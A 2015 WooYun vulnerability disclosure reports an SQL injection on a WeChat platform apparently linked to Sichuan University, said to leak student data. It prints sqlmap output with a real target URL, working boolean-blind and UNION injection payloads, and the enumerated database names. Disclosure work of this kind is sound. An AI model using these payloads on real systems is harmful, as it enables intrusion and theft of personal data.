当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0151060

漏洞标题：四川大学某微信公众平台泄露存在SQL注入，泄露大量学生信息

相关厂商：四川大学信息管理中心

漏洞作者： 二愣子

提交时间：2015-11-02 11:07

修复时间：2015-11-05 10:31

公开时间：2015-11-05 10:31

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-02： 细节已通知厂商并且等待厂商处理中
2015-11-05： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

今天天气不错~

详细说明：

注入点

http://www.scuinfo.com/api/comments?postId=7359


payload:

---
Parameter: postId (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: postId=(SELECT (CASE WHEN (5700=5700) THEN 5700 ELSE 5700*(SELECT 5700 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: postId=7359 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626b6a71,0x5a4148624d4e674b744d,0x717a6a6b71),NULL,NULL,NULL,NULL,NULL-- 
---
back-end DBMS: MySQL 5.0
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: postId (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: postId=(SELECT (CASE WHEN (5700=5700) THEN 5700 ELSE 5700*(SELECT 5700 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: postId=7359 UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71626b6a71,0x5a4148624d4e674b744d,0x717a6a6b71),NULL,NULL,NULL,NULL,NULL-- 
---
back-end DBMS: MySQL 5.0
available databases [3]:
[*] information_schema
[*] secret
[*] test

漏洞证明：

1.png


2.png


3.png

修复方案：

你们更专业

版权声明：转载请注明来源 二愣子@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-05 10:31

厂商回复：

感谢可爱的白帽子，但是这个微信平台非官方网站，无法联系到相关负责人，但已经尽力转告了。谢谢。因为忽略原因只有两个，比较而言，只有选择后者。

最新状态：

暂无